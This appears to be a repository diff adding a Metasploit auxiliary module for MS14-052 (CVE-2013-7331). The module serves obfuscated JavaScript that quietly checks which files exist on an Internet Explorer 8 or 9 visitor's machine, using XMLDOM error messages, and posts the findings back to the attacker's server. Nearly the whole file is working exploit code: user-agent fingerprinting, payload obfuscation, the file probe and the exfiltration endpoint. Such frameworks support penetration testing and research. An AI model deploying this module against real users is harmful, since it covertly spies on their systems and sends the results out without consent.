|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/exploit/jsobfu' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 12 | + include Msf::Exploit::JSObfu |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure", |
| 17 | + 'Description' => %q{ |
| 18 | + This module will use the Microsoft XMLDOM object to enumerate a remote user's filenames. |
| 19 | + It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you |
| 20 | + must supply your own list of file paths. Each file's format should look like this: |
| 21 | + c:\\\\windows\\\\system32\\\\calc.exe |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Soroush Dalili', # @irsdl - Original discovery. MSF module is from his PoC |
| 27 | + 'sinn3r' |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'CVE', '2013-7331'], |
| 32 | + [ 'MSB', 'MS14-052' ], |
| 33 | + [ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ], |
| 34 | + [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ] |
| 35 | + ], |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Targets' => |
| 38 | + [ |
| 39 | + [ 'Internet Explorer 8 / Internet Explorer 9', {} ], |
| 40 | + ], |
| 41 | + 'DisclosureDate' => "Sep 9 2014", # MSB. Used in the wild since Feb 2014 |
| 42 | + 'DefaultTarget' => 0)) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ]) |
| 47 | + ], self.class |
| 48 | + ) |
| 49 | + end |
| 50 | + |
| 51 | + def js |
| 52 | + target_files = parse_target_files |
| 53 | + js_target_files = target_files * ',' |
| 54 | + |
| 55 | + %Q| |
| 56 | + #{js_ajax_post} |
| 57 | +
|
| 58 | + var RESULTS = { |
| 59 | + UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""}, |
| 60 | + BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""}, |
| 61 | + FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""}, |
| 62 | + FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""}, |
| 63 | + NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""}, |
| 64 | + ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""}, |
| 65 | + MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""}, |
| 66 | + DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""}, |
| 67 | + VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""}, |
| 68 | + INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""} |
| 69 | + }; |
| 70 | +
|
| 71 | +
|
| 72 | + function validateXML(txt) { |
| 73 | + var result = RESULTS.UNKNOWN; |
| 74 | +
|
| 75 | + if (window.ActiveXObject) { |
| 76 | + var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); |
| 77 | + xmlDoc.async = true; |
| 78 | + try { |
| 79 | + xmlDoc.loadXML(txt); |
| 80 | + if (xmlDoc.parseError.errorCode != 0) { |
| 81 | + var err; |
| 82 | + err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n"; |
| 83 | + err += "Error Reason: " + xmlDoc.parseError.reason; |
| 84 | + err += "Error Line: " + xmlDoc.parseError.line; |
| 85 | +
|
| 86 | + var errReason = xmlDoc.parseError.reason.toLowerCase(); |
| 87 | + if (errReason.search('access is denied') >= 0) { |
| 88 | + result = RESULTS.ALIVE; |
| 89 | + } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) { |
| 90 | + result = RESULTS.NOTFOUND; |
| 91 | + } else if(errReason!=''){ |
| 92 | + result = RESULTS.FILEFOUND; |
| 93 | + } else{ |
| 94 | + result = RESULTS.UNKNOWN; // No Error? Unknown! |
| 95 | + }; |
| 96 | + } else { |
| 97 | + result = RESULTS.FILEFOUND; |
| 98 | + } |
| 99 | + } catch (e) { |
| 100 | + result = RESULTS.FOLDERFOUND; |
| 101 | + } |
| 102 | + } else { |
| 103 | + result = RESULTS.BADBROWSER; |
| 104 | + } |
| 105 | + result.data = ""; |
| 106 | +
|
| 107 | + return result; |
| 108 | + }; |
| 109 | +
|
| 110 | +
|
| 111 | + function checkFiles(files) { |
| 112 | + var foundFiles = new Array(); |
| 113 | + // the first one is for all drives, the others are for the C drive only! |
| 114 | + var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"]; |
| 115 | + // or any other irrelevant ADS! - we do not need this when we use Res:// |
| 116 | + var postMagics = ["::$index_allocation"]; |
| 117 | +
|
| 118 | + var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">'; |
| 119 | +
|
| 120 | + for (var i = 0; i < files.length; i++) { |
| 121 | + var filename = files[i]; |
| 122 | + if (filename != '') { |
| 123 | + filename = preMagics[0] + filename; // postMagics can be used too! |
| 124 | + var result = validateXML(templateString.replace("$target$", filename)); |
| 125 | + if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN; |
| 126 | + result.data = filename; |
| 127 | + if (result.message.search(/file was found/i) > -1) { |
| 128 | + var trimmedFilename = result.data; |
| 129 | + for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); } |
| 130 | + for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); } |
| 131 | + foundFiles.push(trimmedFilename); |
| 132 | + } |
| 133 | + } |
| 134 | + } |
| 135 | + return foundFiles; |
| 136 | + }; |
| 137 | +
|
| 138 | + var foundFileString = ""; |
| 139 | +
|
| 140 | + window.onload = function() { |
| 141 | + var files = [#{js_target_files}]; |
| 142 | + var foundFiles = checkFiles(files); |
| 143 | + for (var file in foundFiles) { |
| 144 | + foundFileString += foundFiles[file] + "\|"; |
| 145 | + } |
| 146 | + postInfo("#{get_resource}/receiver/", foundFileString, true); |
| 147 | + }; |
| 148 | + | |
| 149 | + end |
| 150 | + |
| 151 | + def html |
| 152 | + new_js = js_obfuscate(js) |
| 153 | + %Q| |
| 154 | + <html> |
| 155 | + <head> |
| 156 | + </head> |
| 157 | + <body> |
| 158 | + <script> |
| 159 | + #{new_js} |
| 160 | + </script> |
| 161 | + </body> |
| 162 | + </html> |
| 163 | + | |
| 164 | + end |
| 165 | + |
| 166 | + def run |
| 167 | + exploit |
| 168 | + end |
| 169 | + |
| 170 | + def parse_found_files(cli, req) |
| 171 | + return if req.body.blank? |
| 172 | + |
| 173 | + files = req.body.split('|') |
| 174 | + unless files.empty? |
| 175 | + print_good("We have detected the following files:") |
| 176 | + files.each do |f| |
| 177 | + report_note(host: cli.peerhost, type: 'ie.filenames', data: f) |
| 178 | + print_good(f) |
| 179 | + end |
| 180 | + end |
| 181 | + end |
| 182 | + |
| 183 | + def parse_target_files |
| 184 | + @files ||= lambda { |
| 185 | + files = [] |
| 186 | + buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read } |
| 187 | + buf.each_line do |line| |
| 188 | + if line =~ /^[a-z]:\\\\.+/i |
| 189 | + files << "'#{line.strip}'" |
| 190 | + end |
| 191 | + end |
| 192 | + |
| 193 | + return files |
| 194 | + }.call |
| 195 | + end |
| 196 | + |
| 197 | + def is_target_suitable?(user_agent) |
| 198 | + info = fingerprint_user_agent(user_agent) |
| 199 | + if info[:ua_name] == HttpClients::IE && (info[:ua_ver] == '8.0' || info[:ua_ver] == '9.0') |
| 200 | + return true |
| 201 | + end |
| 202 | + |
| 203 | + false |
| 204 | + end |
| 205 | + |
| 206 | + def on_request_uri(cli, req) |
| 207 | + unless is_target_suitable?(req.headers['User-Agent']) |
| 208 | + send_not_found(cli) |
| 209 | + return |
| 210 | + end |
| 211 | + |
| 212 | + case req.uri |
| 213 | + when /receiver/ |
| 214 | + parse_found_files(cli, req) |
| 215 | + else |
| 216 | + print_status("Sending HTML.") |
| 217 | + send_response(cli, html) |
| 218 | + end |
| 219 | + end |
| 220 | + |
| 221 | +end |
0 commit comments